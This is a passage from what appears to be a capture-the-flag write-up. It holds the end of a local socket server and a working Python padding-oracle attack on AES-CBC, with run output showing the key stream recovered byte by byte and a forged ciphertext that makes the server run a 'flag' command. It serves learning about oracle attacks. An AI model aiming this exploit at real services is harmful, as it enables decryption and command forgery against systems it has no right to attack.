        self.request.send(cmd)

server = threadedserver(("0.0.0.0", 4567), incoming)
server.timeout = 4
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

server_thread.join()
# cat padding_oracle.py 
#!/usr/bin/python

import socket
from Crypto.Cipher import AES

cipher = []
key = []
plain = list('HERE_IS_COMMAND:flag' + ('\x0c' * 12))
count = 0

def oracle_padding(cipher, result = False):
 s = socket.create_connection(('localhost',4567))
 s.recv(1024)
 data = ''
 for i in xrange(0,32):
  data = data + chr(cipher[i])
 #print str(data)
 s.sendall(data+"\n")
 recv = s.recv(1024)
 #print recv
 if "Error" in recv:
  return False
 else:
  if result:
   print
   print recv
  return True

def print_array(a, t, n):
 result = ''
 for i in xrange(0, n):
  result += '%02x' % a[i]
 print t + ' = ' + result

for i in range(32):
 cipher.append(0)
 key.append(0)


for i in range(16):
 for j in range(256):
  count += 1
  cipher[15 - i] = j
  result = oracle_padding(cipher)
  if result:
   key[15 - i] = (i + 1) ^ j
   print '[' + str(i) + ']'
   print_array(cipher, 'c', 16)
   print_array(key, 'k', 16)
   for z in range(i + 1):
    cipher[15 - z] = (i + 2) ^ key[15 - z]
   break

for i in range(16):
 cipher[i] = key[i] ^ ord(plain[16 + i])
print

print_array(cipher, 'solution', 32)
 
oracle_padding(cipher, True)
print 'Tries = ' + str(count)
# ./padding_oracle.py 
[0]
c = 0000000000000000000000000000003b
k = 0000000000000000000000000000003a
[1]
c = 0000000000000000000000000000ee38
k = 0000000000000000000000000000ec3a
[2]
c = 00000000000000000000000000daef39
k = 00000000000000000000000000d9ec3a
[3]
c = 000000000000000000000000fbdde83e
k = 000000000000000000000000ffd9ec3a
[4]
c = 000000000000000000000012fadce93f
k = 000000000000000000000017ffd9ec3a
[5]
c = 000000000000000000007111f9dfea3c
k = 000000000000000000007717ffd9ec3a
[6]
c = 0000000000000000005f7010f8deeb3d
k = 000000000000000000587717ffd9ec3a
[7]
c = 000000000000000071507f1ff7d1e432
k = 000000000000000079587717ffd9ec3a
[8]
c = 000000000000003470517e1ef6d0e533
k = 000000000000003d79587717ffd9ec3a
[9]
c = 000000000000283773527d1df5d3e630
k = 000000000000223d79587717ffd9ec3a
[10]
c = 0000000000be293672537c1cf4d2e731
k = 0000000000b5223d79587717ffd9ec3a
[11]
c = 000000001db92e3175547b1bf3d5e036
k = 0000000011b5223d79587717ffd9ec3a
[12]
c = 0000001d1cb82f3074557a1af2d4e137
k = 0000001011b5223d79587717ffd9ec3a
[13]
c = 0000011e1fbb2c3377567919f1d7e234
k = 00000f1011b5223d79587717ffd9ec3a
[14]
c = 0000001f1eba2d3276577818f0d6e335
k = 000f0f1011b5223d79587717ffd9ec3a
[15]
c = 041f1f0001a5322d69486707efc9fc2a
k = 140f0f1011b5223d79587717ffd9ec3a

solution = 72636e771db92e3175547b1bf3d5e03600000000000000000000000000000000

key: XXX TRY TO READ ME XXX
Tries = 1466